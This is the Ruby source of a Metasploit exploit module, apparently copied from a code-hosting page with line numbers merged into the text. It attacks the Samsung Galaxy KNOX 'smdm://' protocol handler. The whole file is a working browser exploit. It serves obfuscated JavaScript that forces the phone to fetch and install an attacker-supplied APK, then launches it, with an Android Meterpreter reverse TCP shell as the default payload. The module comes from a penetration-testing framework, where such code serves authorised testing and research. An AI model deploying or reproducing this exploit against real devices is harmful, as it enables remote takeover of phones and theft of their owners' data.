Path: blob/master/modules/exploits/android/browser/samsung_knox_smdm_url.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'digest/md5'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::BrowserExploitServer1112# Hash that maps payload ID -> (0|1) if an HTTP request has13# been made to download a payload of that ID14attr_reader :served_payloads1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Samsung Galaxy KNOX Android Browser RCE',21'Description' => %q{22A vulnerability exists in the KNOX security component of the Samsung Galaxy23firmware that allows a remote webpage to install an APK with arbitrary24permissions by abusing the 'smdm://' protocol handler registered by the KNOX25component.2627The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,28and Ace 4.29},30'License' => MSF_LICENSE,31'Author' => [32'Andre Moulu', # discovery, advisory, and exploitation help33'Elliot Alderson', # Mr. Robot easter-egg34'jduck', # msf module35'joev' # msf module36],37'References' => [38['URL', 'https://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],39['OSVDB', '114590']40],41'Platform' => 'android',42'Arch' => ARCH_DALVIK,43'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },44'Targets' => [ [ 'Automatic', {} ] ],45'DisclosureDate' => '2014-11-12',46'DefaultTarget' => 0,47'Notes' => {48'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],49'Reliability' => [ UNRELIABLE_SESSION ],50'Stability' => [ CRASH_SAFE ]51},52'BrowserRequirements' => {53source: 'script',54os_name: OperatingSystems::Match::ANDROID55}56)57)5859register_options([60OptString.new('APK_VERSION', [61false, 'The update version to advertise to the client', '1337'62])63])6465deregister_options('JsObfuscate')66end6768def exploit69@served_payloads = Hash.new(0)70super71end7273def apk_bytes74payload.encoded75end7677def on_request_uri(cli, req)78if req.uri =~ %r{/([a-zA-Z0-9]+)\.apk/latest$}79if req.method.upcase == 'HEAD'80print_status 'Serving metadata...'81send_response(cli, '', magic_headers)82else83print_status "Serving payload '#{::Regexp.last_match(1)}'..."84@served_payloads[::Regexp.last_match(1)] = 185send_response(cli, apk_bytes, magic_headers)86end87elsif req.uri =~ /_poll/88vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")89send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')90elsif req.uri =~ /launch$/91send_response_html(cli, launch_html)92else93super94end95end9697# The browser appears to be vulnerable, serve the exploit98def on_request_exploit(cli, _req, _browser)99print_status 'Serving exploit...'100send_response_html(cli, generate_html)101end102103def magic_headers104{105'Content-Length' => apk_bytes.length,106'ETag' => Digest::MD5.hexdigest(apk_bytes),107'x-amz-meta-apk-version' => datastore['APK_VERSION']108}109end110111def generate_html112%(113<!doctype html>114<html><body>115<script>116#{exploit_js}117</script></body></html>118)119end120121def exploit_js122payload_id = rand_word123124js_obfuscate %|125126function poll() {127var xhr = new XMLHttpRequest();128xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);129xhr.onreadystatechange = function(){130if (xhr.readyState == 4) {131if (xhr.responseText == '1') {132setTimeout(killEnrollment, 100);133} else {134setTimeout(poll, 1000);135setTimeout(enroll, 0);136setTimeout(enroll, 500);137}138}139};140xhr.onerror = function(){141setTimeout(poll, 1000);142setTimeout(enroll, 0);143};144xhr.send();145}146147function enroll() {148var loc = window.location.href.replace(/[/.]$/g, '');149top.location = 'smdm://#{rand_word}?update_url='+150encodeURIComponent(loc)+'/#{payload_id}.apk';151}152153function killEnrollment() {154top.location = "intent://#{rand_word}?program="+155"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";156setTimeout(launchApp, 300);157}158159function launchApp() {160top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';161}162163enroll();164setTimeout(poll,600);165166|167end168169def rand_word170Rex::Text.rand_text_alphanumeric(3..12)171end172end173174175